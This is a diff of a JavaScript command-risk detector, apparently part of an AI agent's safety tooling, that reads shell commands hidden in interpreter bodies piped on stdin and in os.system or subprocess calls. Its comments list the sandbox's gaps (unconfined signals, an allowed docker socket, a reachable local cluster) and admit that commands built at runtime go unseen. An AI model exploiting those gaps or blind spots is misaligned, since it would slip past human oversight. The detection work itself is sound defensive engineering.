+
}
|
|
1201
1392
|
// `ssh [flags] host <command…>`: skip the flags and their arguments, skip the host, and the
|
|
1202
1393
|
// rest is what runs on the far side — quoted as one word or spelled out as several.
|
|
1203
1394
|
for (const m of command.matchAll(SSH_LEAD_RE)) {
|
|
@@ -1222,6 +1413,232 @@ function nestedBodies(command) {
|
|
|
1222
1413
|
}
|
|
1223
1414
|
return found;
|
|
1224
1415
|
}
|
|
1416
|
+
// An interpreter reading its PROGRAM from stdin rather than from an argument: `python3 -`, `node -`,
|
|
1417
|
+
// `ruby -`, `perl -`. The body arrives by heredoc, so the shell pastes it — nothing quote-parses a
|
|
1418
|
+
// body and the verb readers are blind to it (#699) — but the pasted text is code, not data, and a
|
|
1419
|
+
// script that shells out runs those commands for real. The sandbox does not cover that: signals are
|
|
1420
|
+
// not confined (`pkill`, `killall`), docker's socket is allowed, and a loopback cluster (kind,
|
|
1421
|
+
// minikube) is reachable by `kubectl` (#750).
|
|
1422
|
+
//
|
|
1423
|
+
// It is deliberately NOT read as a nested body the way a `-c` argument is. Handing the whole body to
|
|
1424
|
+
// `detectAtDepth` would re-open #699: a `;` in a string literal in a pasted body splits a segment
|
|
1425
|
+
// there as soon as nothing marks the body, which is what `verbData` suppresses for the outer pass.
|
|
1426
|
+
// So what is read here is narrow, and only in the direction that cannot hide anything:
|
|
1427
|
+
//
|
|
1428
|
+
// - `INTERPRETER_BODY_PATTERNS` over the whole body (they are specific enough to run on text);
|
|
1429
|
+
// - the verb readers over the STRING ARGUMENTS of a shell-out call site, and nothing else.
|
|
1430
|
+
//
|
|
1431
|
+
// Call sites only, not every string literal — `print("x; pkill y")` is data, and reading it is
|
|
1432
|
+
// exactly #699's false positive. The cost of the narrow reading is the other direction: a command
|
|
1433
|
+
// assembled at runtime (`os.system("pk" + "ill node")`) is still not seen.
|
|
1434
|
+
// A flag arm may carry `=value` (`node --input-type=module -`), which is otherwise a word past it.
|
|
1435
|
+
// The `-` is optional: with no script operand at all each of the four reads its program from stdin
|
|
1436
|
+
// too, and `python3 <<'PY'` is the spelling models write most. Bare, the flags must run to the end of
|
|
1437
|
+
// the command (a redirect, a separator, the line's end), or the next word is the script.
|
|
1438
|
+
const INTERPRETER_STDIN_RE = /\b(python[\d.]*|ruby|perl|node)((?:\s+-[\w-]+(?:=[^\s]+)?)*)(?:\s+(-)(?![\w.=-])|(?=[ \t]*(?:[<>|;&)\n]|\d+>|$)))/g;
|
|
1439
|
+
// A last flag that takes the program (`-c`, `-e`) or a module (`-m`) as its value: the program is
|
|
1440
|
+
// not on stdin, and in the masked view the quoted value is blank, so it reads as a bare interpreter.
|
|
1441
|
+
const PROGRAM_FLAG_RE = /\s(?:-[cemEp]|--eval|--print)$/;
|
|
1442
|
+
// `stdinBodies`' pre-test: the two walks it needs (a quote mask, a heredoc scan) cost more than the
|
|
1443
|
+
// rest of the command's detection put together. A name alone is not rare enough — `node` is in every
|
|
1444
|
+
// `node_modules` path — but every body this reader finds is a heredoc, so a command with no `<<` has
|
|
1445
|
+
// none. Not the /g/ pattern above, whose `lastIndex` `matchAll` inherits.
|
|
1446
|
+
const INTERPRETER_NAME_RE = /\b(?:python|ruby|perl|node)/;
|
|
1447
|
+
// Where an interpreter hands a string to a shell. `os.popen` is `os.system` with a pipe, and
|
|
1448
|
+
// `system` alone is Ruby's and Perl's spelling of it; `subprocess.*` and `child_process.*` are the
|
|
1449
|
+
// whole module, since every entry point takes the same argv. A `node -` body usually reaches the
|
|
1450
|
+
// module through `require`, and a named import strips the qualifier entirely, so the spellings that
|
|
1451
|
+
// reach the same call are here too — the sync ones are Node's own names and appear nowhere else,
|
|
1452
|
+
// while bare `exec`/`spawn` also name a database client, and those keep their qualifier.
|
|
1453
|
+
const SHELL_OUT_CALL_RE = /\b(?:os\s*\.\s*(?:system|popen)|subprocess\s*\.\s*[A-Za-z_]\w*|child_process\s*\.\s*\w+|childProcess\s*\.\s*\w+|require\s*\(\s*['"]child_process['"]\s*\)\s*\.\s*\w+|execSync|execFileSync|spawnSync|system)\s*\(\s*/g;
|
|
1454
|
+
// The shell command a call hands over: a plain literal (`os.system("…")`), an `f`/`r`/`b`-prefixed
|
|
1455
|
+
// or triple-quoted one, or an argv — a list (`subprocess.run(["git", "push", "--force"])`), a
|
|
1456
|
+
// program followed by its list (`execFileSync("git", ["push"])`, `spawn`), or a program followed by
|
|
1457
|
+
// its words (Ruby's and Perl's `system("git", "push")`). An argv is joined back into the command it
|
|
1458
|
+
// spells, each element quoted, so `["sh", "-c", "pkill node"]` keeps its `-c` body one word. A
|
|
1459
|
+
// variable, a `.format` template or a concatenation is not text this file can read, and guessing at
|
|
1460
|
+
// one would put words in the command that the shell never sees; an argv stops at its first one.
|
|
1461
|
+
function callArgument(text, from) {
|
|
1462
|
+
let at = skipSpace(text, from);
|
|
1463
|
+
const parts = [];
|
|
1464
|
+
let argv = false;
|
|
1465
|
+
const readList = () => {
|
|
1466
|
+
argv = true;
|
|
1467
|
+
at++;
|
|
1468
|
+
for (;;) {
|
|
1469
|
+
const lit = readLiteral(text, skipSpace(text, at));
|
|
1470
|
+
if (!lit)
|
|
1471
|
+
return false;
|
|
1472
|
+
parts.push(lit.value);
|
|
1473
|
+
at = skipSpace(text, lit.end);
|
|
1474
|
+
if (text[at] !== ',')
|
|
1475
|
+
return text[at] === ']' || text[at] === ')';
|
|
1476
|
+
at++;
|
|
1477
|
+
}
|
|
1478
|
+
};
|
|
1479
|
+
if (text[at] === '[' || text[at] === '(') {
|
|
1480
|
+
readList();
|
|
1481
|
+
}
|
|
1482
|
+
else {
|
|
1483
|
+
const lit = readLiteral(text, at);
|
|
1484
|
+
if (!lit)
|
|
1485
|
+
return undefined;
|
|
1486
|
+
parts.push(lit.value);
|
|
1487
|
+
at = skipSpace(text, lit.end);
|
|
1488
|
+
// Further arguments are the program's words only while they are literals or a closed list.
|
|
1489
|
+
while (text[at] === ',') {
|
|
1490
|
+
at = skipSpace(text, at + 1);
|
|
1491
|
+
if (text[at] === '[') {
|
|
1492
|
+
readList();
|
|
1493
|
+
break;
|
|
1494
|
+
}
|
|
1495
|
+
const next = readLiteral(text, at);
|
|
1496
|
+
if (!next)
|
|
1497
|
+
break;
|
|
1498
|
+
argv = true;
|
|
1499
|
+
parts.push(next.value);
|
|
1500
|
+
at = skipSpace(text, next.end);
|
|
1501
|
+
}
|
|
1502
|
+
}
|
|
1503
|
+
if (!parts.length)
|
|
1504
|
+
return undefined;
|
|
1505
|
+
if (!argv)
|
|
1506
|
+
return parts[0] || undefined;
|
|
1507
|
+
// A shell's `-c` element IS the command, and a call argument is read one level deep, where the
|
|
1508
|
+
// `-c` reader does not run — so it is handed over unwrapped.
|
|
1509
|
+
if (parts.length >= 3 && SHELL_ARGV0_RE.test(parts[0]) && /^-\w*c$/.test(parts[1]))
|
|
1510
|
+
return parts[2];
|
|
1511
|
+
return parts.map(shellQuote).join(' ');
|
|
1512
|
+
}
|
|
1513
|
+
const SHELL_ARGV0_RE = /(?:^|\/)(?:ba|z|da|k)?sh$/;
|
|
1514
|
+
function skipSpace(text, at) {
|
|
1515
|
+
while (at < text.length && /\s/.test(text[at]))
|
|
1516
|
+
at++;
|
|
1517
|
+
return at;
|
|
1518
|
+
}
|
|
1519
|
+
// One string literal at `at`, with the index past its closing quote. A triple quote opens a
|
|
1520
|
+
// Python block string, which a single `"` would read as an empty literal followed by text.
|
|
1521
|
+
function readLiteral(text, at) {
|
|
1522
|
+
const m = /^[A-Za-z]{0,2}("""|'''|['"`])/.exec(text.slice(at));
|
|
1523
|
+
if (!m)
|
|
1524
|
+
return undefined;
|
|
1525
|
+
const quote = m[1];
|
|
1526
|
+
const start = at + m[0].length;
|
|
1527
|
+
let i = start;
|
|
1528
|
+
for (; i < text.length; i++) {
|
|
1529
|
+
if (text[i] === '\\')
|
|
1530
|
+
i++;
|
|
1531
|
+
else if (text.startsWith(quote, i))
|
|
1532
|
+
break;
|
|
1533
|
+
}
|
|
1534
|
+
if (i >= text.length)
|
|
1535
|
+
return undefined;
|
|
1536
|
+
// A raw literal (`r"…"`, `rb"…"`) keeps its backslashes: `\n` there is two characters, not a
|
|
1537
|
+
// line break, and reading it as one would label a second command the shell never runs.
|
|
1538
|
+
const raw = /r/i.test(m[0].slice(0, -quote.length));
|
|
1539
|
+
const body = text.slice(start, i);
|
|
1540
|
+
return { value: raw ? body : unescapeLiteral(body), end: i + quote.length };
|
|
1541
|
+
}
|
|
1542
|
+
// An argv element as the one shell word it was: a bare word stays bare, anything else is quoted.
|
|
1543
|
+
function shellQuote(word) {
|
|
1544
|
+
return /^[\w@%+=:,./-]+$/.test(word) ? word : `'${word.replace(/'/g, `'\\''`)}'`;
|
|
1545
|
+
}
|
|
1546
|
+
// The escapes that change the command's SHAPE, so an argument spelled on one source line reads as
|
|
1547
|
+
// the two commands the shell will run: `os.system("curl x\npkill y")` is a `pkill` line. Everything
|
|
1548
|
+
// else is left alone — `\d` in a regex in the same string is not this file's business.
|
|
1549
|
+
function unescapeLiteral(s) {
|
|
1550
|
+
return s.replace(/\\(?:([nrt])|(['"\\`]))/g, (_m, esc, ch) => esc === 'n' ? '\n' : esc === 'r' ? '\r' : esc === 't' ? '\t' : ch);
|
|
1551
|
+
}
|
|
1552
|
+
// The commands a body hands to a shell, capped like the nested bodies themselves: a body with more
|
|
1553
|
+
// call sites than that is a script, and past a handful the labels say the same thing.
|
|
1554
|
+
function shellOutStrings(body) {
|
|
1555
|
+
const out = [];
|
|
1556
|
+
for (const m of body.matchAll(SHELL_OUT_CALL_RE)) {
|
|
1557
|
+
if (out.length >= MAX_NESTED_BODIES)
|
|
1558
|
+
break;
|
|
1559
|
+
const arg = callArgument(body, m.index + m[0].length);
|
|
1560
|
+
if (arg)
|
|
1561
|
+
out.push(arg);
|
|
1562
|
+
}
|
|
1563
|
+
return out;
|
|
1564
|
+
}
|
|
1565
|
+
// Whether the newline at `nl` is escaped by an odd run of backslashes before it.
|
|
1566
|
+
function continues(command, nl) {
|
|
1567
|
+
if (nl <= 0 || command[nl] !== '\n')
|
|
1568
|
+
return false;
|
|
1569
|
+
let n = 0;
|
|
1570
|
+
while (nl - 1 - n >= 0 && command[nl - 1 - n] === '\\')
|
|
1571
|
+
n++;
|
|
1572
|
+
return n % 2 === 1;
|
|
1573
|
+
}
|
|
1574
|
+
// A `&` that ends a command, not one inside a redirect (`2>&1`, `&>f`, `<&3`).
|
|
1575
|
+
function isCommandAmpersand(view, i) {
|
|
1576
|
+
return view[i] === '&' && view[i - 1] !== '>' && view[i - 1] !== '<' && view[i + 1] !== '>';
|
|
1577
|
+
}
|
|
1578
|
+
// Where the pipeline holding `at` begins on its line: past the last `;`, `&`, `||` or `(` before it.
|
|
1579
|
+
function pipelineStart(view, lineStart, at) {
|
|
1580
|
+
for (let i = at - 1; i >= lineStart; i--) {
|
|
1581
|
+
const c = view[i];
|
|
1582
|
+
if (c === ';' || c === '(' || isCommandAmpersand(view, i))
|
|
1583
|
+
return i + 1;
|
|
1584
|
+
if (c === '|' && view[i - 1] === '|')
|
|
1585
|
+
return i + 1;
|
|
1586
|
+
}
|
|
1587
|
+
return lineStart;
|
|
1588
|
+
}
|
|
1589
|
+
// Where the command starting before `from` ends on its line: the first `;`, `&`, `|` or `)`.
|
|
1590
|
+
function commandEnd(view, from, lineEnd) {
|
|
1591
|
+
for (let i = from; i < lineEnd; i++) {
|
|
1592
|
+
const c = view[i];
|
|
1593
|
+
if (c === ';' || c === '|' || c === ')' || isCommandAmpersand(view, i))
|
|
1594
|
+
return i;
|
|
1595
|
+
}
|
|
1596
|
+
return lineEnd;
|
|
1597
|
+
}
|
|
1598
|
+
// The stdin bodies of the interpreters above. Failures here go the same way as everywhere else in the
|
|
1599
|
+
// nested-body readers: a body that cannot be found costs nothing extra, and one that cannot be
|
|
1600
|
+
// bounded (an unreadable lexer) over-reports.
|
|
1601
|
+
function stdinBodies(command) {
|
|
1602
|
+
if (!command.includes('<<') || !INTERPRETER_NAME_RE.test(command))
|
|
1603
|
+
return [];
|
|
1604
|
+
const found = [];
|
|
1605
|
+
// A `python3 -` inside a quoted argument runs no interpreter: it is another command's text.
|
|
1606
|
+
const view = maskQuoted(command);
|
|
1607
|
+
const scan = scanHeredocs(command);
|
|
1608
|
+
for (const m of view.matchAll(INTERPRETER_STDIN_RE)) {
|
|
1609
|
+
if (found.length >= MAX_NESTED_BODIES)
|
|
1610
|
+
break;
|
|
1611
|
+
if (!m[3] && PROGRAM_FLAG_RE.test(m[2]))
|
|
1612
|
+
continue;
|
|
1613
|
+
const at = m.index;
|
|
1614
|
+
const context = m[3] ? `${m[1]} -` : m[1];
|
|
1615
|
+
const lineStart = command.lastIndexOf('\n', at - 1) + 1;
|
|
1616
|
+
const nl = command.indexOf('\n', at);
|
|
1617
|
+
// A line continued by a backslash puts the body after the NEXT newline (or the pipeline before
|
|
1618
|
+
// the previous one), where the walk below cannot follow it. Like an unreadable lexer, that
|
|
1619
|
+
// reads the whole command as the body: it can only add labels.
|
|
1620
|
+
if (scan.uncertain || continues(command, nl) || continues(command, lineStart - 1)) {
|
|
1621
|
+
if (command.includes('<<'))
|
|
1622
|
+
found.push({ context, body: command });
|
|
1623
|
+
continue;
|
|
1624
|
+
}
|
|
1625
|
+
const lineEnd = nl === -1 ? command.length : nl;
|
|
1626
|
+
// The body lands on the stdin of the command its operator sits on, and the interpreter reads it
|
|
1627
|
+
// when that command is its own or one the pipe hands it on from (`cat <<'PY' | python3 -`). So
|
|
1628
|
+
// every heredoc from the start of the interpreter's pipeline to the end of its own command
|
|
1629
|
+
// counts, and none behind a `;` or `&&`, which is another command's input.
|
|
1630
|
+
const from = pipelineStart(view, lineStart, at);
|
|
1631
|
+
const to = commandEnd(view, at + m[0].length, lineEnd);
|
|
1632
|
+
for (const h of scan.heredocs) {
|
|
1633
|
+
if (h.opAt < from || h.opAt >= to)
|
|
1634
|
+
continue;
|
|
1635
|
+
if (found.length >= MAX_NESTED_BODIES)
|
|
1636
|
+
break;
|
|
1637
|
+
found.push({ context, body: command.slice(h.bodyStart, h.bodyEnd) });
|
|
1638
|
+
}
|
|
1639
|
+
}
|
|
1640
|
+
return found;
|
|
1641
|
+
}
|
|
1225
1642
|
// Two checks read the working tree, because the command text alone cannot answer them: whether
|
|
1226
1643
|
// `npx vitest` fetches anything, and whether `git checkout App.tsx` names a branch or a file.
|
|
1227
1644
|
// Without a cwd both fall back to the text — npx flags, checkout stays with the regexes above.
|
|
@@ -1357,9 +1774,11 @@ function detectAtDepth(rawCommand, depth, cwd) {
|
|
|
1357
1774
|
}
|
|
1358
1775
|
// A shell's `-c` program pastes nothing: a heredoc there can be a `$(cat <<'EOF' …)` whose
|
|
1359
1776
|
// output IS the program, and the shell that runs it was named one level up, out of sight here.
|
|
1360
|
-
|
|
1777
|
+
// The two per-segment readers below want the same strips, and each one is a walk, so they are read
|
|
1778
|
+
// once here and handed to both (#794).
|
|
1779
|
+
const reads = segmentReads(verbSegments(command, depth === 0));
|
|
1361
1780
|
for (const label of [
|
|
1362
|
-
...verbLabels(
|
|
1781
|
+
...verbLabels(reads),
|
|
1363
1782
|
remoteExecLabel(command, cwd),
|
|
1364
1783
|
checkoutPathLabel(command, cwd),
|
|
1365
1784
|
]) {
|
|
@@ -1370,7 +1789,7 @@ function detectAtDepth(rawCommand, depth, cwd) {
|
|
|
1370
1789
|
// reports one precise label instead of two overlapping ones. Every install/uninstall label
|
|
1371
1790
|
// above contains the word, which is what makes this cheap test sufficient.
|
|
1372
1791
|
if (!hits.some(h => /install/i.test(h))) {
|
|
1373
|
-
const generic = genericPackageLabel(
|
|
1792
|
+
const generic = genericPackageLabel(reads);
|
|
1374
1793
|
if (generic)
|
|
1375
1794
|
hits.push(generic);
|
|
1376
1795
|
}
|
|
@@ -1382,17 +1801,47 @@ function detectAtDepth(rawCommand, depth, cwd) {
|
|
|
1382
1801
|
for (const { context, body, interp } of nestedBodies(command)) {
|
|
1383
1802
|
const inner = detectAtDepth(body, 1, cwd);
|
|
1384
1803
|
if (interp) {
|
|
1385
|
-
for (const
|
|
1386
|
-
if (
|
|
1804
|
+
for (const label of interpreterBodyLabels(body, cwd)) {
|
|
1805
|
+
if (!inner.includes(label))
|
|
1387
1806
|
inner.push(label);
|
|
1388
1807
|
}
|
|
1389
1808
|
}
|
|
1390
|
-
|
|
1391
|
-
|
|
1392
|
-
|
|
1393
|
-
|
|
1394
|
-
|
|
1809
|
+
addNested(hits, context, inner);
|
|
1810
|
+
}
|
|
1811
|
+
// A program pasted onto an interpreter's stdin is the one nested body the outer pass refuses to
|
|
1812
|
+
// read (#699), so it is read here instead — and ONLY through `interpreterBodyLabels`: the body
|
|
1813
|
+
// itself is never handed to `detectAtDepth`, which is what keeps a `;` in one of its string
|
|
1814
|
+
// literals from splitting a segment into a verb.
|
|
1815
|
+
for (const { context, body } of stdinBodies(command)) {
|
|
1816
|
+
addNested(hits, context, interpreterBodyLabels(body, cwd));
|
|
1395
1817
|
}
|
|
1396
1818
|
}
|
|
1397
1819
|
return hits;
|
|
1398
1820
|
}
|
|
1821
|
+
// What an interpreter's own body says on top of what its text says as a command: the stdlib patterns
|
|
1822
|
+
// above, and the commands the body actually hands to a shell. Both are read off the body text alone,
|
|
1823
|
+
// with no dependence on where its quote spans are — which is what makes this the one reading that is
|
|
1824
|
+
// safe on a PASTED body, where the shell has not quote-parsed anything and a `;` in a string literal
|
|
1825
|
+
// is not marked as data (#699).
|
|
1826
|
+
function interpreterBodyLabels(body, cwd) {
|
|
1827
|
+
const labels = [];
|
|
1828
|
+
for (const { re, label } of INTERPRETER_BODY_PATTERNS) {
|
|
1829
|
+
if (re.test(body))
|
|
1830
|
+
labels.push(label);
|
|
1831
|
+
}
|
|
1832
|
+
for (const call of shellOutStrings(body)) {
|
|
1833
|
+
for (const label of detectAtDepth(call, 1, cwd)) {
|
|
1834
|
+
if (!labels.includes(label))
|
|
1835
|
+
labels.push(label);
|
|
1836
|
+
}
|
|
1837
|
+
}
|
|
1838
|
+
return labels;
|
|
1839
|
+
}
|
|
1840
|
+
// The prefixed form of every label a nested body earned.
|
|
1841
|
+
function addNested(hits, context, inner) {
|
|
1842
|
+
for (const label of inner) {
|
|
1843
|
+
const prefixed = `via ${context}: ${label}`;
|
|
1844
|
+
if (!hits.includes(label) && !hits.includes(prefixed))
|
|
1845
|
+
hits.push(prefixed);
|
|
1846
|
+
}
|
|
1847
|
+
}
|